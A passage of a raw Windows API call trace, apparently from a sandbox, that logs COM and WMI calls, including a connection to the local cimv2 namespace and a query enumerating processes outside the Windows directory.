ppvObject=0x5e8e3b4 | out: ppvObject=0x5e8e3b4*=0x60fd470) returned 0x0 [0066.909] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd470, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e158 | out: ppvObject=0x5e8e158*=0x60fd470) returned 0x0 [0066.909] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd470, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e114 | out: ppvObject=0x5e8e114*=0x0) returned 0x80004002 [0066.910] WbemLocator:IUnknown:AddRef (This=0x60fd470) returned 0x3 [0066.910] CoGetContextToken (in: pToken=0x5e8dfa0 | out: pToken=0x5e8dfa0) returned 0x0 [0066.910] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd470, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8df88 | out: ppvObject=0x5e8df88*=0x0) returned 0x80004002 [0066.910] CoGetContextToken (in: pToken=0x5e8df98 | out: pToken=0x5e8df98) returned 0x0 [0066.910] WbemLocator:IUnknown:AddRef (This=0x60fd470) returned 0x4 [0066.910] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd470, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e00c | out: ppvObject=0x5e8e00c*=0x0) returned 0x80004002 [0066.910] WbemLocator:IUnknown:Release (This=0x60fd470) returned 0x3 [0066.910] WbemLocator:IUnknown:Release (This=0x60fd470) returned 0x2 [0066.910] WbemLocator:IUnknown:Release (This=0x60fd458) returned 0x0 [0066.911] WbemLocator:IUnknown:Release (This=0x60fd470) returned 0x1 [0066.911] CoGetContextToken (in: pToken=0x5e8e4a4 | out: pToken=0x5e8e4a4) returned 0x0 [0066.911] CoGetContextToken (in: pToken=0x5e8e464 | out: pToken=0x5e8e464) returned 0x0 [0066.911] WbemLocator:IUnknown:AddRef (This=0x60fd470) returned 0x2 [0066.911] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd470, riid=0x5e8e4e0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8e4dc | out: ppvObject=0x5e8e4dc*=0x60fd470) returned 0x0 [0066.911] WbemLocator:IUnknown:Release (This=0x60fd470) returned 0x2 [0066.911] WbemLocator:IUnknown:Release (This=0x60fd470) returned 0x1 [0066.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e6d4 | out: puCount=0x5e8e6d4*=0x2) returned 0x0 [0066.911] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=8, puBuffLength=0x5e8e6d0*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e6d0*=0x17, pszText=0x0) returned 0x0 [0066.911] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=8, puBuffLength=0x5e8e6d0*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e6d0*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0066.911] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5e8e1ac | out: ppv=0x5e8e1ac*=0x60fd480) returned 0x0 [0066.911] WbemLocator:IWbemLocator:ConnectServer (in: This=0x60fd480, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5e8e1f8 | out: ppNamespace=0x5e8e1f8*=0x60fd594) returned 0x0 [0066.952] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd594, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0c8 | out: ppvObject=0x5e8e0c8*=0x42ae04) returned 0x0 [0066.953] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x42ae04, pProxy=0x60fd594, pAuthnSvc=0x5e8e110, pAuthzSvc=0x5e8e10c, pServerPrincName=0x5e8e11c, pAuthnLevel=0x5e8e114, pImpLevel=0x5e8e100, pAuthInfo=0x5e8e104, pCapabilites=0x5e8e108 | out: pAuthnSvc=0x5e8e110*=0xa, pAuthzSvc=0x5e8e10c*=0x0, pServerPrincName=0x5e8e11c, pAuthnLevel=0x5e8e114*=0x6, pImpLevel=0x5e8e100*=0x2, pAuthInfo=0x5e8e104, pCapabilites=0x5e8e108*=0x1) returned 0x0 [0066.953] WbemLocator:IUnknown:Release (This=0x42ae04) returned 0x1 [0066.953] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd594, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0bc | out: ppvObject=0x5e8e0bc*=0x42ae24) returned 0x0 [0066.953] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd594, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0b8 | out: ppvObject=0x5e8e0b8*=0x42ae04) returned 0x0 [0066.953] WbemLocator:IClientSecurity:SetBlanket (This=0x42ae04, pProxy=0x60fd594, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0066.953] WbemLocator:IUnknown:Release (This=0x42ae04) returned 0x2 [0066.953] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x1 [0066.953] CoTaskMemFree (pv=0x41ea00) [0066.953] WbemLocator:IUnknown:Release (This=0x60fd480) returned 0x0 [0066.953] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd594, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8da78 | out: ppvObject=0x5e8da78*=0x42ae24) returned 0x0 [0066.953] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8da34 | out: ppvObject=0x5e8da34*=0x0) returned 0x80004002 [0066.954] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x0) returned 0x80004002 [0066.954] WbemLocator:IUnknown:AddRef (This=0x42ae24) returned 0x3 [0066.954] CoGetContextToken (in: pToken=0x5e8d8c0 | out: pToken=0x5e8d8c0) returned 0x0 [0066.954] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d8a8 | out: ppvObject=0x5e8d8a8*=0x42ad84) returned 0x0 [0066.955] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x42ad84, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d8b0 | out: pCid=0x5e8d8b0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.955] WbemLocator:IUnknown:Release (This=0x42ad84) returned 0x3 [0066.955] CoGetContextToken (in: pToken=0x5e8d8b8 | out: pToken=0x5e8d8b8) returned 0x0 [0066.955] WbemLocator:IUnknown:AddRef (This=0x42ae24) returned 0x4 [0066.955] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d92c | out: ppvObject=0x5e8d92c*=0x42ae0c) returned 0x0 [0066.955] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x4 [0066.955] WbemLocator:IRpcOptions:Query (in: This=0x42ae0c, pPrx=0x42ae24, dwProperty=2, pdwValue=0x5e8d950 | out: pdwValue=0x5e8d950) returned 0x80004002 [0066.955] WbemLocator:IUnknown:Release (This=0x42ae0c) returned 0x3 [0066.955] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x2 [0066.956] CoGetContextToken (in: pToken=0x5e8dd2c | out: pToken=0x5e8dd2c) returned 0x0 [0066.956] CoGetContextToken (in: pToken=0x5e8dcec | out: pToken=0x5e8dcec) returned 0x0 [0066.956] WbemLocator:IUnknown:AddRef (This=0x42ae24) returned 0x3 [0066.956] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x5e8dd68*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e8dd64 | out: ppvObject=0x5e8dd64*=0x60fd594) returned 0x0 [0066.956] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x3 [0066.956] WbemLocator:IUnknown:Release (This=0x60fd594) returned 0x2 [0066.956] WbemLocator:IUnknown:Release (This=0x60fd594) returned 0x1 [0066.956] CoGetContextToken (in: pToken=0x5e8e648 | out: pToken=0x5e8e648) returned 0x0 [0066.956] WbemLocator:IUnknown:AddRef (This=0x42ae24) returned 0x2 [0066.956] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e26c | out: ppvObject=0x5e8e26c*=0x42ae24) returned 0x0 [0066.956] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x2 [0066.956] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x1 [0066.957] CoGetContextToken (in: pToken=0x5e8de4c | out: pToken=0x5e8de4c) returned 0x0 [0066.957] CoGetContextToken (in: pToken=0x5e8de0c | out: pToken=0x5e8de0c) returned 0x0 [0066.957] WbemLocator:IUnknown:AddRef (This=0x42ae24) returned 0x2 [0066.957] WbemLocator:IUnknown:QueryInterface (in: This=0x42ae24, riid=0x5e8de88*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e8de84 | out: ppvObject=0x5e8de84*=0x60fd594) returned 0x0 [0066.957] WbemLocator:IUnknown:Release (This=0x42ae24) returned 0x2 [0066.957] WbemLocator:IUnknown:AddRef (This=0x60fd594) returned 0x3 [0066.957] IWbemServices:ExecQuery (in: This=0x60fd594, strQueryLanguage="WQL", strQuery="SELECT ProcessId, Name, ExecutablePath FROM win32_process WHERE ProcessId > 0 AND NOT (ExecutablePath LIKE '%:\\\\WINDOWS\\\\%')", lFlags=16, pCtx=0x0, ppEnum=0x5e8e490 | out: ppEnum=0x5e8e490*=0x60fd50c) returned 0x0 [0066.968] IUnknown:QueryInterface (in: This=0x60fd50c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e13c | out: ppvObject=0x5e8e13c*=0x60fd510) returned 0x0 [0066.968] IClientSecurity:QueryBlanket (in: This=0x60fd510, pProxy=0x60fd50c, pAuthnSvc=0x5e8e184, pAuthzSvc=0x5e8e180, pServerPrincName=0x5e8e190, pAuthnLevel=0x5e8e188, pImpLevel=0x5e8e174, pAuthInfo=0x5e8e178, pCapabilites=0x5e8e17c | out: pAuthnSvc=0x5e8e184*=0xa, pAuthzSvc=0x5e8e180*=0x0, pServerPrincName=0x5e8e190, pAuthnLevel=0x5e8e188*=0x6, pImpLevel=0x5e8e174*=0x2, pAuthInfo=0x5e8e178, pCapabilites=0x5e8e17c*=0x1) returned 0x0 [0066.969] IUnknown:Release (This=0x60fd510) returned 0x1 [0066.969] IUnknown:QueryInterface (in: This=0x60fd50c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e130 | out: ppvObject=0x5e8e130*=0x425c3c) returned 0x0 [0066.969] IUnknown:QueryInterface (in: This=0x60fd50c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e12c | out: ppvObject=0x5e8e12c*=0x60fd510) returned 0x0 [0066.969] IClientSecurity:SetBlanket (This=0x60fd510, pProxy=0x60fd50c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0066.970] IUnknown:Release (This=0x60fd510) returned 0x2 [0066.970] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x1 [0066.970] CoTaskMemFree (pv=0x41e9d0) [0066.971] WbemLocator:IUnknown:Release (This=0x60fd594) returned 0x2 [0066.971] IUnknown:QueryInterface (in: This=0x60fd50c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dae8 | out: ppvObject=0x5e8dae8*=0x425c3c) returned 0x0 [0066.971] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8daa4 | out: ppvObject=0x5e8daa4*=0x0) returned 0x80004002 [0066.971] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d998 | out: ppvObject=0x5e8d998*=0x0) returned 0x80004002 [0066.972] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x3 [0066.972] CoGetContextToken (in: pToken=0x5e8d930 | out: pToken=0x5e8d930) returned 0x0 [0066.972] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d918 | out: ppvObject=0x5e8d918*=0x425b9c) returned 0x0 [0066.972] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x425b9c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d920 | out: pCid=0x5e8d920*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.972] WbemLocator:IUnknown:Release (This=0x425b9c) returned 0x3 [0066.973] CoGetContextToken (in: pToken=0x5e8d928 | out: pToken=0x5e8d928) returned 0x0 [0066.973] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x4 [0066.973] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d99c | out: ppvObject=0x5e8d99c*=0x425c24) returned 0x0 [0066.973] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x4 [0066.973] WbemLocator:IRpcOptions:Query (in: This=0x425c24, pPrx=0x425c3c, dwProperty=2, pdwValue=0x5e8d9c0 | out: pdwValue=0x5e8d9c0) returned 0x80004002 [0066.973] WbemLocator:IUnknown:Release (This=0x425c24) returned 0x3 [0066.973] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x2 [0066.973] CoGetContextToken (in: pToken=0x5e8dd9c | out: pToken=0x5e8dd9c) returned 0x0 [0066.973] CoGetContextToken (in: pToken=0x5e8dd5c | out: pToken=0x5e8dd5c) returned 0x0 [0066.973] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x3 [0066.973] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x5e8ddd8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8ddd4 | out: ppvObject=0x5e8ddd4*=0x60fd50c) returned 0x0 [0066.974] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x3 [0066.974] IUnknown:Release (This=0x60fd50c) returned 0x2 [0066.974] IUnknown:Release (This=0x60fd50c) returned 0x1 [0066.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e728 | out: puCount=0x5e8e728*=0x2) returned 0x0 [0066.974] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e724*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e724*=0x17, pszText=0x0) returned 0x0 [0066.974] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e724*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e724*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0066.974] CoGetContextToken (in: pToken=0x5e8e0c4 | out: pToken=0x5e8e0c4) returned 0x0 [0066.974] CoGetContextToken (in: pToken=0x5e8e084 | out: pToken=0x5e8e084) returned 0x0 [0066.974] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x2 [0066.974] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x5e8e100*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e0fc | out: ppvObject=0x5e8e0fc*=0x60fd50c) returned 0x0 [0066.974] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x2 [0066.974] IUnknown:AddRef (This=0x60fd50c) returned 0x3 [0066.974] IEnumWbemClassObject:Clone (in: This=0x60fd50c, ppEnum=0x5e8e6f8 | out: ppEnum=0x5e8e6f8*=0x60fd634) returned 0x0 [0066.975] IUnknown:QueryInterface (in: This=0x60fd634, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3b4 | out: ppvObject=0x5e8e3b4*=0x60fd638) returned 0x0 [0066.975] IClientSecurity:QueryBlanket (in: This=0x60fd638, pProxy=0x60fd634, pAuthnSvc=0x5e8e3fc, pAuthzSvc=0x5e8e3f8, pServerPrincName=0x5e8e408, pAuthnLevel=0x5e8e400, pImpLevel=0x5e8e3ec, pAuthInfo=0x5e8e3f0, pCapabilites=0x5e8e3f4 | out: pAuthnSvc=0x5e8e3fc*=0xa, pAuthzSvc=0x5e8e3f8*=0x0, pServerPrincName=0x5e8e408, pAuthnLevel=0x5e8e400*=0x6, pImpLevel=0x5e8e3ec*=0x2, pAuthInfo=0x5e8e3f0, pCapabilites=0x5e8e3f4*=0x1) returned 0x0 [0066.975] IUnknown:Release (This=0x60fd638) returned 0x1 [0066.976] IUnknown:QueryInterface (in: This=0x60fd634, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3a8 | out: ppvObject=0x5e8e3a8*=0x4284bc) returned 0x0 [0066.976] IUnknown:QueryInterface (in: This=0x60fd634, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3a4 | out: ppvObject=0x5e8e3a4*=0x60fd638) returned 0x0 [0066.976] IClientSecurity:SetBlanket (This=0x60fd638, pProxy=0x60fd634, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0066.977] IUnknown:Release (This=0x60fd638) returned 0x2 [0066.977] WbemLocator:IUnknown:Release (This=0x4284bc) returned 0x1 [0066.977] CoTaskMemFree (pv=0x41ea00) [0066.977] IUnknown:Release (This=0x60fd50c) returned 0x2 [0066.977] IUnknown:QueryInterface (in: This=0x60fd634, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dd50 | out: ppvObject=0x5e8dd50*=0x4284bc) returned 0x0 [0066.977] WbemLocator:IUnknown:QueryInterface (in: This=0x4284bc, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dd0c | out: ppvObject=0x5e8dd0c*=0x0) returned 0x80004002 [0066.978] WbemLocator:IUnknown:QueryInterface (in: This=0x4284bc, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8dc00 | out: ppvObject=0x5e8dc00*=0x0) returned 0x80004002 [0066.978] WbemLocator:IUnknown:AddRef (This=0x4284bc) returned 0x3 [0066.978] CoGetContextToken (in: pToken=0x5e8db98 | out: pToken=0x5e8db98) returned 0x0 [0066.978] WbemLocator:IUnknown:QueryInterface (in: This=0x4284bc, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8db80 | out: ppvObject=0x5e8db80*=0x42841c) returned 0x0 [0066.979] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x42841c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8db88 | out: pCid=0x5e8db88*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.979] WbemLocator:IUnknown:Release (This=0x42841c) returned 0x3 [0066.979] CoGetContextToken (in: pToken=0x5e8db90 | out: pToken=0x5e8db90) returned 0x0 [0066.979] WbemLocator:IUnknown:AddRef (This=0x4284bc) returned 0x4 [0066.979] WbemLocator:IUnknown:QueryInterface (in: This=0x4284bc, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dc04 | out: ppvObject=0x5e8dc04*=0x4284a4) returned 0x0 [0066.979] WbemLocator:IUnknown:Release (This=0x4284bc) returned 0x4 [0066.979] WbemLocator:IRpcOptions:Query (in: This=0x4284a4, pPrx=0x4284bc, dwProperty=2, pdwValue=0x5e8dc28 | out: pdwValue=0x5e8dc28) returned 0x80004002 [0066.979] WbemLocator:IUnknown:Release (This=0x4284a4) returned 0x3 [0066.980] WbemLocator:IUnknown:Release (This=0x4284bc) returned 0x2 [0066.980] CoGetContextToken (in: pToken=0x5e8e004 | out: pToken=0x5e8e004) returned 0x0 [0066.980] CoGetContextToken (in: pToken=0x5e8dfc4 | out: pToken=0x5e8dfc4) returned 0x0 [0066.980] WbemLocator:IUnknown:AddRef (This=0x4284bc) returned 0x3 [0066.980] WbemLocator:IUnknown:QueryInterface (in: This=0x4284bc, riid=0x5e8e040*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e03c | out: ppvObject=0x5e8e03c*=0x60fd634) returned 0x0 [0066.980] WbemLocator:IUnknown:Release (This=0x4284bc) returned 0x3 [0066.980] IUnknown:Release (This=0x60fd634) returned 0x2 [0066.980] IUnknown:Release (This=0x60fd634) returned 0x1 [0066.980] CoGetContextToken (in: pToken=0x5e8e5f8 | out: pToken=0x5e8e5f8) returned 0x0 [0066.980] CoGetContextToken (in: pToken=0x5e8e5b8 | out: pToken=0x5e8e5b8) returned 0x0 [0066.980] WbemLocator:IUnknown:AddRef (This=0x4284bc) returned 0x2 [0066.980] WbemLocator:IUnknown:QueryInterface (in: This=0x4284bc, riid=0x5e8e634*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e630 | out: ppvObject=0x5e8e630*=0x60fd634) returned 0x0 [0066.980] WbemLocator:IUnknown:Release (This=0x4284bc) returned 0x2 [0066.981] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0066.981] IEnumWbemClassObject:Reset (This=0x60fd634) returned 0x0 [0066.981] IUnknown:Release (This=0x60fd634) returned 0x2 [0066.981] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0066.981] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0066.981] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fd670, puReturned=0x2e27944*=0x1) returned 0x0 [0067.044] IUnknown:QueryInterface (in: This=0x60fd670, riid=0x74a47714*(Data1=0x0, Data2=0x0, 